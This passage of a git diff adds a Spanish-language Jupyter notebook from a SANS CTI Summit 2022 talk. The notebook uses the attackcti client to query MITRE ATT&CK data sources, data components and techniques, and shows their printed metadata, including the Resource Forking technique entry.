\"https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf\"\n", - " },\n", - " {\n", - " \"source_name\": \"LodzTram-InHomelandSecurity-2008-02\",\n", - " \"description\": \"Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.\",\n", - " \"url\": \"https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/\"\n", - " },\n", - " {\n", - " \"source_name\": \"LodzTram-LondonReconnections-2017-12\",\n", - " \"description\": \"John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.\",\n", - " \"url\": \"https://www.londonreconnections.com/2017/hacked-cyber-security-railways/\"\n", - " },\n", - " {\n", - " \"source_name\": \"LodzTram-Schneier-2008-01\",\n", - " \"description\": \"Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.\",\n", - " \"url\": \"https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html\"\n", - " },\n", - " {\n", - " \"source_name\": \"Maroochy - MITRE - 200808\",\n", - " \"description\": \"Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study\\u2013 Maroochy Water Services, Australia. Retrieved March 27, 2018.\",\n", - " \"url\": \"https://www.mitre.org/sites/default/files/pdf/08%201145.pdf\"\n", - " }\n", - " ],\n", - " \"object_marking_refs\": [\n", - " \"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168\"\n", - " ],\n", - " \"x_mitre_contributors\": [\n", - " \"Scott Dougherty\"\n", - " ],\n", - " \"x_mitre_data_sources\": [\n", - " \"Network protocol analysis\",\n", - " \"Packet capture\",\n", - " \"Network intrusion detection system\"\n", - " ],\n", - " \"x_mitre_platforms\": [\n", - " \"Windows\"\n", - " ]\n", - "}\n" - ] - } - ], - "source": [ - "print(techniques[0])" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.8" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} diff --git a/docs/presentations/1-SANS_CTI_Summit_2022_Explorando_Fuentes_Componentes_Datos.ipynb b/docs/presentations/1-SANS_CTI_Summit_2022_Explorando_Fuentes_Componentes_Datos.ipynb new file mode 100644 index 0000000..e8e8f7f --- /dev/null +++ b/docs/presentations/1-SANS_CTI_Summit_2022_Explorando_Fuentes_Componentes_Datos.ipynb @@ -0,0 +1,530 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# SANS CTI Summit 2022 - Explorando ATT&CK Fuentes & Componentes de Datos\n", + "\n", + "---" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instalando ATT&CK Python Client " + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Requirement already satisfied: attackcti in c:\\users\\rorodri\\appdata\\local\\programs\\python\\python39\\lib\\site-packages (0.3.5)\n", + "Requirement already satisfied: stix2 in c:\\users\\rorodri\\appdata\\local\\programs\\python\\python39\\lib\\site-packages (from attackcti) (3.0.1)\n", + "Requirement already satisfied: taxii2-client in c:\\users\\rorodri\\appdata\\local\\programs\\python\\python39\\lib\\site-packages (from attackcti) (2.3.0)\n", + "Requirement already satisfied: simplejson in c:\\users\\rorodri\\appdata\\local\\programs\\python\\python39\\lib\\site-packages (from stix2->attackcti) (3.17.2)\n", + "Requirement already satisfied: stix2-patterns>=1.2.0 in c:\\users\\rorodri\\appdata\\local\\programs\\python\\python39\\lib\\site-packages (from stix2->attackcti) (1.3.2)\n", + "Requirement already satisfied: requests in c:\\users\\rorodri\\appdata\\local\\programs\\python\\python39\\lib\\site-packages (from stix2->attackcti) (2.25.1)\n", + "Requirement already satisfied: pytz in c:\\users\\rorodri\\appdata\\local\\programs\\python\\python39\\lib\\site-packages (from stix2->attackcti) (2021.1)\n", + "Requirement already satisfied: six in c:\\users\\rorodri\\appdata\\local\\programs\\python\\python39\\lib\\site-packages (from taxii2-client->attackcti) (1.16.0)\n", + "Requirement already satisfied: antlr4-python3-runtime~=4.8.0 in c:\\users\\rorodri\\appdata\\local\\programs\\python\\python39\\lib\\site-packages (from stix2-patterns>=1.2.0->stix2->attackcti) (4.8)\n", + "Requirement already satisfied: urllib3<1.27,>=1.21.1 in c:\\users\\rorodri\\appdata\\local\\programs\\python\\python39\\lib\\site-packages (from requests->stix2->attackcti) (1.26.4)\n", + "Requirement already satisfied: idna<3,>=2.5 in c:\\users\\rorodri\\appdata\\local\\programs\\python\\python39\\lib\\site-packages (from requests->stix2->attackcti) (2.10)\n", + "Requirement already satisfied: certifi>=2017.4.17 in c:\\users\\rorodri\\appdata\\local\\programs\\python\\python39\\lib\\site-packages (from requests->stix2->attackcti) (2020.12.5)\n", + "Requirement already satisfied: chardet<5,>=3.0.2 in c:\\users\\rorodri\\appdata\\local\\programs\\python\\python39\\lib\\site-packages (from requests->stix2->attackcti) (4.0.0)\n" + ] + } + ], + "source": [ + "!pip install --upgrade attackcti\n", + "\n", + "# If attackcti is already installed, you can upgrade it by adding the --upgrade option\n", + "# !pip install --upgrade attackcti" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Importando ATT&CK Api Client" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": {}, + "outputs": [], + "source": [ + "from attackcti import attack_client\n", + "\n", + "import logging\n", + "logging.getLogger('taxii2client').setLevel(logging.CRITICAL)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Inicializando la clase ATT&CK Client" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [], + "source": [ + "lift = attack_client()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Obteniendo Objetos: Fuentes de Datos\n", + "\n", + "La función **get_data_sources** accesa la metadata de los nuevos objetos **x-mitre-data-source**.\n", + "\n", + "Actualmente, los objetos `x-mitre-data-source` agregan contexto en la sección **Detección** para cada técnica de la matriz `Enterprise`." + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": {}, + "outputs": [], + "source": [ + "data_sources = lift.get_data_sources()" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Existen 38 fuentes de datos\n" + ] + } + ], + "source": [ + "# Cantidad the objetos x-mitre-data-source\n", + "print('Existen',len(data_sources),'fuentes de datos')" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-10-20T15:05:19.275Z',\n", + " 'name': 'Internet Scan',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'type': 'x-mitre-data-source',\n", + " 'id': 'x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17',\n", + " 'description': 'Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet',\n", + " 'created': '2021-10-20T15:05:19.275Z',\n", + " 'external_references': [{'url': 'https://attack.mitre.org/datasources/DS0035',\n", + " 'external_id': 'DS0035',\n", + " 'source_name': 'mitre-attack'}],\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_platforms': ['PRE'],\n", + " 'x_mitre_collection_layers': ['OSINT'],\n", + " 'x_mitre_contributors': []}" + ] + }, + "execution_count": 6, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Ejemplo de objeto x-mitre-data-source\n", + "data_sources[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Obteniendo Objetos: Componentes de Datos\n", + "\n", + "La función **get_data_components** accesa la metadata de los nuevos objetos **x-mitre-data-component**.\n", + "\n", + "Actualmente, los objetos `x-mitre-data-component` solo agregan contexto en la sección **Detección** para cada técnica de la matriz `Enterprise`.\n", + "\n", + "Por ello, la función `get_data_components` retorna el mismo resultado que la función **get_enterprise_data_components**.\n", + "\n", + "En el futuro, cuando se complete el mapeo de `data components` a técnicas de las matrices ICS y Mobile, existirá una diferencia entre estas funciones.\n", + "\n", + "Además, podremos introducir nuevas funciones como **get_ics_data_components** y **get_mobile_data_components**." + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": {}, + "outputs": [], + "source": [ + "data_components = lift.get_data_components()" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Existen 109 componentes de datos\n" + ] + } + ], + "source": [ + "# Cantidad the objetos x-mitre-data-component\n", + "print('Existen',len(data_components),'componentes de datos')" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-10-20T15:05:19.275Z',\n", + " 'id': 'x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4',\n", + " 'description': 'Logged domain name system (DNS) data highlighting timelines of domain to IP address resolutions (ex: passive DNS)',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'name': 'Passive DNS',\n", + " 'created': '2021-10-20T15:05:19.275Z',\n", + " 'type': 'x-mitre-data-component',\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_data_source_ref': 'x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866'}" + ] + }, + "execution_count": 9, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Ejemplo de objeto x-mitre-data-component\n", + "data_components[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Obteniendo Objetos: Técnicas (enrich_data_sources = False)\n", + "\n", + "La función **get_techniques** accesa la metadata de objetos **attack-pattern** de las matrices `Enterprise`, `ICS`, y `Mobile`.\n", + "\n", + "Para obtener los objetos `attack-pattern` de cada matriz, se puede usar las siguientes funciones:\n", + "\n", + "- Enterprise -->: **get_enterprise_techniques**\n", + "- ICS --------->: **get_ics_techniques**\n", + "- Mobile ------>: **get_mobile_techniques**\n", + "\n", + "Todos los objetos `attack-pattern` contienen, como parte de su metadata, el campo **x_mitre_data_sources**.\n", + "\n", + "El campo `x_mitre_data_sources` brinda contexto de **data sources** y **data components** como una lista de nombres, pero no como objetos. Aquí tenemos un ejemplo: \n", + "\n", + "*x_mitre_data_sources=['File: File Creation', 'Process: Process Creation', 'File: File Metadata', 'Command: Command Execution']*" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": {}, + "outputs": [], + "source": [ + "techniques = lift.get_techniques()" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Existen 736 técnicas (Enterprise, ICS, Mobile)\n" + ] + } + ], + "source": [ + "# Cantidad the objetos attack-pattern\n", + "print('Existen',len(techniques),'técnicas (Enterprise, ICS, Mobile)')" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "AttackPattern(type='attack-pattern', id='attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-12T20:02:31.866Z', modified='2021-10-16T01:50:40.276Z', name='Resource Forking', description='Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\\n\\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1564/009', external_id='T1564.009'), ExternalReference(source_name='macOS Hierarchical File System Overview', description='Tenon. (n.d.). Retrieved October 12, 2021.', url='http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553'), ExternalReference(source_name='Resource and Data Forks', description='Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.', url='https://flylib.com/books/en/4.395.1.192/1/'), ExternalReference(source_name='ELC Extended Attributes', description=\"Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021.\", url='https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/'), ExternalReference(source_name='sentinellabs resource named fork 2020', description='Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.', url='https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/'), ExternalReference(source_name='tau bundlore erika noerenberg 2020', description='Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.', url='https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Jaron Bradley @jbradley89', 'Ivan Sinyakov'], x_mitre_data_sources=['File: File Creation', 'Process: Process Creation', 'File: File Metadata', 'Command: Command Execution'], x_mitre_defense_bypassed=['Notarization; Gatekeeper'], x_mitre_detection='Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \\n\\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ', x_mitre_is_subtechnique=True, x_mitre_permissions_required=['User'], x_mitre_platforms=['macOS'], x_mitre_version='1.0')" + ] + }, + "execution_count": 12, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Ejemplo de objeto attack-pattern\n", + "techniques[0]" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "['File: File Creation',\n", + " 'Process: Process Creation',\n", + " 'File: File Metadata',\n", + " 'Command: Command Execution']" + ] + }, + "execution_count": 13, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Ejemplo de contexto (Data Sources y Data Components) para objeto attack-pattern\n", + "techniques[0]['x_mitre_data_sources']" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Obteniendo Objetos: Técnicas (enrich_data_sources = True)\n", + "\n", + "Como se mencionó anteriormente, los objetos `x-mitre-data-component` solo agregan contexto en la sección **Detección** para cada técnica de la matriz `Enterprise`.\n", + "\n", + "Por lo tanto, hemos considerado el parámetro **enrich_data_sources** en las funciones **get_enterprise_techniques** y **get_techniques** para agregar el contexto de los objetos **x-mitre-data-source** and **x-mitre-data-component**.\n", + "\n", + "En el futuro, cuando se complete el mapeo de `data components` a técnicas de las matrices ICS y Mobile, agregaremos el parámetro `enrich_data_sources` a las funciones **get_ics_techniques** y **get_mobile_techniques**." + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": {}, + "outputs": [], + "source": [ + "techniques_enriched = lift.get_techniques(enrich_data_sources=True)" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Existen 736 técnicas (Enterprise, ICS, Mobile)\n" + ] + } + ], + "source": [ + "# Cantidad the objetos attack-pattern\n", + "print('Existen',len(techniques_enriched),'técnicas (Enterprise, ICS, Mobile)')" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "AttackPattern(type='attack-pattern', id='attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-12T20:02:31.866Z', modified='2022-01-20T19:26:43.291Z', name='Resource Forking', description='Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\\n\\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1564/009', external_id='T1564.009'), ExternalReference(source_name='macOS Hierarchical File System Overview', description='Tenon. (n.d.). Retrieved October 12, 2021.', url='http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553'), ExternalReference(source_name='Resource and Data Forks', description='Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.', url='https://flylib.com/books/en/4.395.1.192/1/'), ExternalReference(source_name='ELC Extended Attributes', description=\"Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021.\", url='https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/'), ExternalReference(source_name='sentinellabs resource named fork 2020', description='Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.', url='https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/'), ExternalReference(source_name='tau bundlore erika noerenberg 2020', description='Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.', url='https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Jaron Bradley @jbradley89', 'Ivan Sinyakov'], x_mitre_data_sources=[{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], 'modified': '2021-11-10T09:30:48.694Z', 'name': 'Command', 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', 'type': 'x-mitre-data-source', 'id': 'x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089', 'description': 'A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)', 'created': '2021-10-20T15:05:19.273Z', 'external_references': [{'url': 'https://attack.mitre.org/datasources/DS0017', 'external_id': 'DS0017', 'source_name': 'mitre-attack'}, {'url': 'https://confluence.atlassian.com/confkb/how-to-enable-command-line-audit-logging-in-linux-956166545.html', 'description': 'Confluence Support. (2021, September 8). How to enable command line audit logging in linux. Retrieved September 23, 2021.', 'source_name': 'Confluence Linux Command Line'}, {'url': 'https://www.scip.ch/en/?labs.20150108', 'description': 'Gagliardi, R. (n.d.). Audit in a OS X System. Retrieved September 23, 2021.', 'source_name': 'Audit OSX'}], 'x_mitre_version': '1.0', 'x_mitre_platforms': ['Windows', 'Linux', 'macOS', 'Network', 'Containers'], 'x_mitre_collection_layers': ['Host', 'Container'], 'x_mitre_contributors': ['Austin Clark', 'Center for Threat-Informed Defense (CTID)'], 'data_components': [{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], 'modified': '2021-10-20T15:05:19.273Z', 'id': 'x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0', 'description': 'Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)', 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', 'name': 'Command Execution', 'created': '2021-10-20T15:05:19.273Z', 'type': 'x-mitre-data-component', 'x_mitre_version': '1.0', 'x_mitre_data_source_ref': 'x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089'}]}, {'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], 'modified': '2021-11-10T09:30:48.695Z', 'name': 'File', 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', 'type': 'x-mitre-data-source', 'id': 'x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9', 'description': 'A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media)(Citation: Microsoft File Mgmt)', 'created': '2021-10-20T15:05:19.273Z', 'external_references': [{'url': 'https://attack.mitre.org/datasources/DS0022', 'external_id': 'DS0022', 'source_name': 'mitre-attack'}, {'url': 'https://docs.microsoft.com/en-us/windows/win32/fileio/file-management', 'description': 'Microsoft. (2018, May 31). File Management (Local File Systems). Retrieved September 28, 2021.', 'source_name': 'Microsoft File Mgmt'}], 'x_mitre_version': '1.0', 'x_mitre_platforms': ['Windows', 'Linux', 'macOS', 'Network'], 'x_mitre_collection_layers': ['Host'], 'x_mitre_contributors': ['Center for Threat-Informed Defense (CTID)'], 'data_components': [{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], 'modified': '2021-10-20T15:05:19.273Z', 'id': 'x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5', 'description': 'Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.', 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', 'name': 'File Metadata', 'created': '2021-10-20T15:05:19.273Z', 'type': 'x-mitre-data-component', 'x_mitre_version': '1.0', 'x_mitre_data_source_ref': 'x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9'}, {'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], 'modified': '2021-10-20T15:05:19.273Z', 'id': 'x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c', 'description': 'Initial construction of a new file (ex: Sysmon EID 11)', 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', 'name': 'File Creation', 'created': '2021-10-20T15:05:19.273Z', 'type': 'x-mitre-data-component', 'x_mitre_version': '1.0', 'x_mitre_data_source_ref': 'x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9'}]}, {'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], 'modified': '2021-11-10T09:30:48.697Z', 'name': 'Process', 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', 'type': 'x-mitre-data-source', 'id': 'x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22', 'description': 'Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)', 'created': '2021-10-20T15:05:19.272Z', 'external_references': [{'url': 'https://attack.mitre.org/datasources/DS0009', 'external_id': 'DS0009', 'source_name': 'mitre-attack'}, {'url': 'https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads', 'description': 'Microsoft. (2018, May 31). Processes and Threads. Retrieved September 28, 2021.', 'source_name': 'Microsoft Processes and Threads'}], 'x_mitre_version': '1.0', 'x_mitre_platforms': ['Windows', 'Linux', 'macOS'], 'x_mitre_collection_layers': ['Host'], 'x_mitre_contributors': ['Center for Threat-Informed Defense (CTID)'], 'data_components': [{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], 'modified': '2021-10-20T15:05:19.272Z', 'id': 'x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077', 'description': 'Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)', 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', 'name': 'Process Creation', 'created': '2021-10-20T15:05:19.272Z', 'type': 'x-mitre-data-component', 'x_mitre_version': '1.0', 'x_mitre_data_source_ref': 'x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22'}]}], x_mitre_defense_bypassed=['Notarization; Gatekeeper'], x_mitre_detection='Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \\n\\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ', x_mitre_is_subtechnique=True, x_mitre_permissions_required=['User'], x_mitre_platforms=['macOS'], x_mitre_version='1.0')" + ] + }, + "execution_count": 16, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Ejemplo de objeto attack-pattern\n", + "techniques_enriched[0]" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "[{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-11-10T09:30:48.694Z',\n", + " 'name': 'Command',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'type': 'x-mitre-data-source',\n", + " 'id': 'x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089',\n", + " 'description': 'A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)',\n", + " 'created': '2021-10-20T15:05:19.273Z',\n", + " 'external_references': [{'url': 'https://attack.mitre.org/datasources/DS0017',\n", + " 'external_id': 'DS0017',\n", + " 'source_name': 'mitre-attack'},\n", + " {'url': 'https://confluence.atlassian.com/confkb/how-to-enable-command-line-audit-logging-in-linux-956166545.html',\n", + " 'description': 'Confluence Support. (2021, September 8). How to enable command line audit logging in linux. Retrieved September 23, 2021.',\n", + " 'source_name': 'Confluence Linux Command Line'},\n", + " {'url': 'https://www.scip.ch/en/?labs.20150108',\n", + " 'description': 'Gagliardi, R. (n.d.). Audit in a OS X System. Retrieved September 23, 2021.',\n", + " 'source_name': 'Audit OSX'}],\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_platforms': ['Windows', 'Linux', 'macOS', 'Network', 'Containers'],\n", + " 'x_mitre_collection_layers': ['Host', 'Container'],\n", + " 'x_mitre_contributors': ['Austin Clark',\n", + " 'Center for Threat-Informed Defense (CTID)'],\n", + " 'data_components': [{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-10-20T15:05:19.273Z',\n", + " 'id': 'x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0',\n", + " 'description': 'Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'name': 'Command Execution',\n", + " 'created': '2021-10-20T15:05:19.273Z',\n", + " 'type': 'x-mitre-data-component',\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_data_source_ref': 'x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089'}]},\n", + " {'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-11-10T09:30:48.695Z',\n", + " 'name': 'File',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'type': 'x-mitre-data-source',\n", + " 'id': 'x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9',\n", + " 'description': 'A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media)(Citation: Microsoft File Mgmt)',\n", + " 'created': '2021-10-20T15:05:19.273Z',\n", + " 'external_references': [{'url': 'https://attack.mitre.org/datasources/DS0022',\n", + " 'external_id': 'DS0022',\n", + " 'source_name': 'mitre-attack'},\n", + " {'url': 'https://docs.microsoft.com/en-us/windows/win32/fileio/file-management',\n", + " 'description': 'Microsoft. (2018, May 31). File Management (Local File Systems). Retrieved September 28, 2021.',\n", + " 'source_name': 'Microsoft File Mgmt'}],\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_platforms': ['Windows', 'Linux', 'macOS', 'Network'],\n", + " 'x_mitre_collection_layers': ['Host'],\n", + " 'x_mitre_contributors': ['Center for Threat-Informed Defense (CTID)'],\n", + " 'data_components': [{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-10-20T15:05:19.273Z',\n", + " 'id': 